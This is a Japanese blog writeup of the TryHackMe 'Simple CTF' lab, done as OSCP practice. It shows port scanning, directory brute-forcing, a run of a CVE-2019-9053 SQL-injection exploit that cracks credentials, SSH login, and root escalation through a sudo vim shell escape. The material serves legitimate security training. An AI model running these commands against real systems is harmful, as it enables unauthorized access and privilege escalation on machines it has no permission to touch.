0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【TryHackMe】Simple CTF Writeup

Last updated at Posted at 2023-09-27

はじめに

OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Simple CTF」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

Task 1 Simple CTF

この「Simple CTF」には、攻略に向けてサブタスクが幾つか設けられているため、それらを順次に解いていきフラグ獲得を目指します。

How many services are running under port 1000?

最初にnmapを使用したポートスキャンを実施します。

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.11.85
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-19 07:58 EDT
Nmap scan report for 10.10.11.85
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 15.07 seconds

このサブタスクはポート番号が1000以下のポート数を聞かれている為、答えは21/tcp、80/tcpの「2」となります。

What is running on the higher port?

次に上位ポートで実行されている機能の調査として、2222ポートに対してOSの種類とそのバージョンを検出する「-A」を指定して再度ポートスキャンを実施します。

└─$ nmap -T4 -A -p2222 10.10.11.85
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-19 08:19 EDT
Nmap scan report for 10.10.11.85
Host is up (0.23s latency).

PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds

ログの結果より答えは「ssh」となります。

What's the CVE you're using against the application?

次にこのroomでのアプリケーションに対してのCVEが何かを調査します。

ではnmapによるポートスキャンの結果をもとに調査を進めます。
8080ポートが開いていたため、ここでgobusterコマンドを使用して隠しディレクトリを探します。
「-u」で探索先のurl、「-w」で辞書データを参照します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.11.85 -w ../../usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.85
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 290]
/.htaccess            (Status: 403) [Size: 295]
/.htpasswd            (Status: 403) [Size: 295]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 299]
/simple               (Status: 301) [Size: 311] [--> http://10.10.11.85/simple/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
   

隠しディレクトリとして「10.10.11.85/simple/」が見つかったためアクセスしてみます。

image.png

CMS Made Simple version 2.2.8によって作られたサイトが表示されました。
この脆弱性について調査を行うと、CVEは「CVE-2019-9053」であることが分かります。

To what kind of vulnerability is the application vulnerable?

「CVE-2019-9053」の脆弱性はSQLインジェクションであるため、ここでの答えはその略称である「sqli」となります。

What's the password?

続いてパスワードの調査になります。
さきほど判明したCVEでGoogleで調査したところ、CVE-2019-9053専用のexploitを使用します。
gobusterコマンドと同様に「-u」で探索先のurl、「-w」で辞書データを参照します。

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 exploit.py -u http://10.10.11.85/simple --crack -w ../../../usr/share/wordlists/dirb/common.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

exploitによってユーザ名「mitch」とパスワード「secret」を特定しました。
ここでの解答は「secret」になります。

Where can you login with the details obtained?

ここでの答えは、前のサブタスクで入手した情報を使用したログイン方法として冒頭で調査した2222ポートの「ssh」となります。

What's the user flag?

ユーザ名とパスワードが判明した為、2222ポートへsshによるログインを実施します。

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 mitch@10.10.11.85
$ ls
user.txt
$ 
$ cat user.txt

ログイン後にディレクトリを確認したところ、フラグが書かれたテキストファイルを確認しました。
これにて1つ目のフラグ獲得です。

Is there any other user in the home directory? What's its name?

$ cd ../
$ 
$ ls
mitch  sunbath

「home」ディレクトリを確認したところ、「sunbath」というユーザ名を確認したのでこちらが解答になります。ただこの「sunbath」への権限設定を確認したところ、mitchユーザだと閲覧が不可となります。

What can you leverage to spawn a privileged shell?

下記コマンドを実行して、mitchユーザが実行できるsudoのコマンドを確認します。

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

ここの解答は「vim」になります。

What's the root flag?

「vim」コマンドにおいては「mitch」ユーザーでも使用可能であるため、このコマンドを使用した権限昇格を試みます。

権限の昇格方法としてこちらのGTFOBinsサイトを参考にしています。
今回は特権コマンドでvimの起動後に、シェルコマンドを実行することで権限昇格が可能になります。

$ sudo vim -c ':!/bin/sh'
#
# cat root/root.txt

これにて最後のフラグ獲得となります。

さいごに

以上となります。

フラグ獲得までの過程をサブタスクとして設けられているため、比較的親切なRoomだと思いました。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?